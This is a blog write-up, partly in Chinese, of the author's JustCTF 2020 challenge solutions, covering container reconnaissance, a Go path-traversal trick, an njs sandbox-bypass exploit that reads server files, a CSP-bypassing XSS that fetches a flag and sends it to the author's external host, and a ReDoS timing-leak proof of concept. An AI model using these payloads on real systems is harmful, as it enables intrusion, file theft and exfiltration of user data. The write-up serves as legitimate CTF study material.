# JustCTF 2020 Writeup & 复现笔记

By [Leohearts](https://paragraph.com/@leohearts) · 2021-12-13

---

> 体验超好, 学到很多  
> 这才是高质量的比赛嘛  
> Really a nice game!

太菜了没做出来几个题qwq

### MyLittlePwny (PWN, MISC) (EASY)

    `uniq flag`
    

### Forgotten name (MISC, WEB)(EASY)

search `jctf.pro` on `crt.sh`

### D0cker (PWN, MISC)(MEDIUM)

> First blood :)

回答问题给`The Oracle`

*   CPU: `cat /proc/cpuinfo`
    
*   Own container ID: `basename $(cat /proc/1/cpuset)`
    
*   Secret file: Crtl-Z (`stty -echo raw;nc xxxx port` when starting nc)
    
*   Real path: `mount`
    
*   Other's ID: Just start another instance ==
    
*   The Oracle's ID:
    
    `ls -alc /sys/kernel/slab/sock_inode_cache/cgroup/ | grep -E -o '[0-9a-f]{64}'`
    
    How I found it:
    
    `find / | grep -E '[0-9a-f]{64}'` , and `mount` says `cgroup` is a mount so it may contains something outside the container.
    
    Or just `find / | grep -E {your container id}`.
    

> 接下来就是我没做出来的了 qaq
> 
> ↓ Unsolved :(

### Remote Password Manager (FORE, MISC) (MEDIUM)

Dump `mstsc.exe` from the image to extract the screen;

img

but I failed running `volatility imageinfo`...

### Go-fs (WEB)(MEDIUM)

GO-FS - intended solution was [https://github.com/golang/go/issues/40940](https://github.com/golang/go/issues/40940)

GO-FS - unintended:

    $ curl --path-as-is -X CONNECT "http://gofs.web.jctf.pro/../flag"
    

I have'nt understand the intended solution :(

The unintended solution is from a feature from [net/http/server.go](https://golang.org/src/net/http/server.go)

    line 2354:    // CONNECT requests are not canonicalized.
    

### njs (WEB)(MEDIUM)

> A 0-day?!

Right, a 0-day. I got `[function Function]` with:

    curl http://127.0.0.1:8000/ --data-raw '[{"op": "add", "x": "2"}, {"op": "addEquation", "x": "toString", "y": "split"}, {"op": "addEquation", "x": "toString", "y": "constructor"}, {"op": "result", "x": "return 233"}]'
    

but it's disabled by njs engine for security.

So this is a bypass, or, a bug.

Exp:

    requests.post("http://0z95magh4w9df1tgqtpybrxjakysr9.njs.web.jctf.pro/", json=[{"op": "toString", "x": "constructor"}, {"op": "toString", "x": "constructor"}, {"op": "result", "x": "){return require('fs').readdirSync('/home')+'\\n'+require('fs').readFileSync('/home/RealFlagIsHere1337.txt')})//", "y": "return this"}, {"op": "result"}]).text
    

From [https://github.com/nginx/njs/blob/f5d710bdc0cd4ab51fb26302a6e391c2d17dbb5b/src/njs\_function.c#L914](https://github.com/nginx/njs/blob/f5d710bdc0cd4ab51fb26302a6e391c2d17dbb5b/src/njs_function.c#L914) :

There's a string concat:

        njs_chb_append_literal(&chain, "(function(");
    
        for (i = 1; i < nargs - 1; i++) {
            ret = njs_value_to_chain(vm, &chain, njs_argument(args, i));
            if (njs_slow_path(ret < NJS_OK)) {
                return ret;
            }
        ...
    

So make a `Function` with `"){code})` can bypass the limit and create a function. Then just execute `this[result]`.

There're 7 teams solved this, orz :

### Baby CSP

code:

    <?php
    require_once("secrets.php");
    $nonce = random_bytes(8);
    
    if(isset($_GET['flag'])){
     if(isAdmin()){
        header('X-Content-Type-Options: nosniff');
        header('X-Frame-Options: DENY');
        header('Content-type: text/html; charset=UTF-8');
        echo $flag;
        die();
     }
     else{
         echo "You are not an admin!";
         die();
     }
    }
    
    for($i=0; $i<10; $i++){
        if(isset($_GET['alg'])){
            $_nonce = hash($_GET['alg'], $nonce);
            if($_nonce){
                $nonce = $_nonce;
                continue;
            }
        }
        $nonce = md5($nonce);
    }
    
    if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
        header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
        echo <<<EOT
            <script nonce='$nonce'>
                setInterval(
                    ()=>user.style.color=Math.random()<0.3?'red':'black'
                ,100);
            </script>
            <center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
            <p>Click <a href="?flag">here</a> to get a flag!</p>
    EOT;
    }else{
        show_source(__FILE__);
    }
    
    // Found a bug? We want to hear from you! /bugbounty.php
    // Check /Dockerfile 
    

`Dockerfile` shows this runs `php-7.4` with `php.ini-development`, which enables Warning.

Obviously `?user` has an XSS. We can get a XSS within 23 bytes like:

    <svg/onload=eval(name)>
    

but it seems impossible to insert a nonce then.

##### PHP output buffer

PHP has a default output buffer size with 4096 bytes. If this buffer got full it will be printed.

And **after an output** `header()` **will fail**.

with a invalid `$_GET['alg']`, `hash()` will show a warning like:

    Warning: hash(): Unknown hashing algorithm: qaq in /var/www/html/index.php on line 21
    

So we can fill the buffer with `$_GET['alg']`:

    curl 'https://baby-csp.web.jctf.pro/?alg='(string repeat -n 1000 a)'&user='(urlencode '<script>alert(1)')
    

    <script>
        name="fetch('?flag').then(e=>e.text()).then(t=>{fetch("https://leohearts.com:2333/"+t, {'mode':'no-cors'})})"
        // name => window['name']
        location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('1000');
    </script>
    

Really a nice challenge.

### Computeration Fixed (WEB)(HARD)

> A totally offline app?

    let notes = JSON.parse(localStorage.getItem('notes')) || [];
    function clearNotes(){
        notes = [];
        localStorage.setItem('notes', '[]');
        notesDiv.innerHTML = '';
        notesFound.innerHTML='';
    }
    function insertNote(title, content){
        notesDiv.innerHTML += `<details><summary>${title}</summary><p>${content}</p>`
    }
    for(let note of notes){
        insertNote(note.title, note.content);
    }
    
    function searchNote(){
        location.hash = searchNoteInp.value;
    }
    
    onhashchange = () => {
        const reg = new RegExp(decodeURIComponent(location.hash.slice(1)));
        const found = [];
        notes.forEach(e=>{
            if(e.content.search(reg) !== -1){
                found.push(e.title);
            }
        });
    
        notesFound.innerHTML = found;
    }
    
    function addNote(){
        const title = newNoteTitle.value;
        const content = newNoteContent.value;
        insertNote(title,content);
        notes.push({title, content});
        localStorage.setItem('notes', JSON.stringify(notes));
        newNoteTitle.value = '';
        newNoteContent.value = '';
    }
    

It's not a xss challenge.

No server, not URL reflect...then how to get a data from this page?

After a short view I noticed the RegExp search.

Like `SQL blind injection` and `XML DoS`, `RegExp` can also lead to dos like:

[Details of the Cloudflare outage on July 2, 2019](https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/)

An available payload for ECMAScript Engine can be

`^[flag_prefix].*.*.*.*.*.*.*.*.*X$`

change `src` of `iframe` to trigger `onhashchange`, we can get a ReDOS.

And the next problem is how to measure the execution time.

##### My approach

In chrome, iframe in another domain will use another process, so we can occupy multiple cores to 100%, then benchmark before and during the redos.

It turned out to work! But it's late in UTC+8 and i went sleep after I tried this(subdomains do not count) ::

Poc:

    <head>
    </head>
    
    
    <body>
    <iframe style="width:100%;height:100%" src='https://computeration.web.jctf.pro/' onload="go()"></iframe>
    <script>
    
    function benchmark() {
        var s = new Date().getTime();
        'flag{ldwsaiudwhauwduiusdhaudnsa}'.search("^f.*.*.*.*.*.*.*.*.*b$")
        var end = new Date().getTime();
        return end - s;
    }
    
    function report(st){
        console.log("https://leohearts.com/s/" + encodeURIComponent(st),
            {"mode": "no-cors"}
        )
    }
    
    function benchmarkReport(){
        report(benchmark())
    }
    
    function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
    }
    
    function createDummy(i){
        list = ['a', 'b', 'c', 'd']
        var newif = document.createElement("iframe")
        newif.src="http://"+list[i]+".leohearts.com/dummy.html"
        document.body.appendChild(newif)
    }
    report(navigator.hardwareConcurrency)
    async function go(){
    //     createDummy(0)
    //     createDummy(1)
    //     createDummy(2)
    //     createDummy(3)
        regex = "^a.*.*.*.*.*.*.*.*.*.*.*b$";
        report(benchmark())
        report(benchmark())
        report(benchmark())
        report(benchmark())
        report(benchmark())
        report(benchmark())
        report(benchmark())
        console.log("Staring redos on iframe...")
        document.querySelector("iframe").src = "https://computeration.web.jctf.pro/#" + encodeURIComponent(regex+"$")
        var n = 30
        while (n--){
            report(benchmark())
        }
    }
    </script>
    </body>
    

The server has 8 cores so I need more domains to occupy CPU. Onmy machine it works.

![](https://storage.googleapis.com/papyrus_images/4af38748f1d0aa13d8ee4d82c99df2e82c83346af3fc04e216a49baea6a31c4e.png)

##### Official WriteUp

[Busy Event Loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop) (A nice article!)

`onhashchange` event blocks page load, so measure time using `onload` can get the execution time.

code from official writeup:

    async function start(flag){
        console.log(flag);
        // for every letter in the alphabet, try to extended the flag with it
        for(let c of alphabet){
            // After 500 ms, remove the iframes, set the URL with the extended flag
            // send a message to the parent about found prefix, and reload the document
            // to restore the blocked thread
            let trynew = setTimeout(async ()=>{
                iframe.remove();
                iframe2?.remove();
                let url = new URL(location.href);
                url.searchParams.set('flag', flag+c);
                parent.postMessage(flag+c,'*');
                await sleep(50);
                location.replace(url.href);
                return;
            }, 500);
    
            // try to find another letter, if it is fast enough, the above setTimeout
            // will be cleared, else, it will trigger.
            let res = await checkPrefix(flag+c);
            clearTimeout(trynew);
        }
    }
    

* * *

> Learned a lot. Thanks to justCatTheFish team for such a high-quality game!

---

*Originally published on [Leohearts](https://paragraph.com/@leohearts/justctf-2020-writeup)*
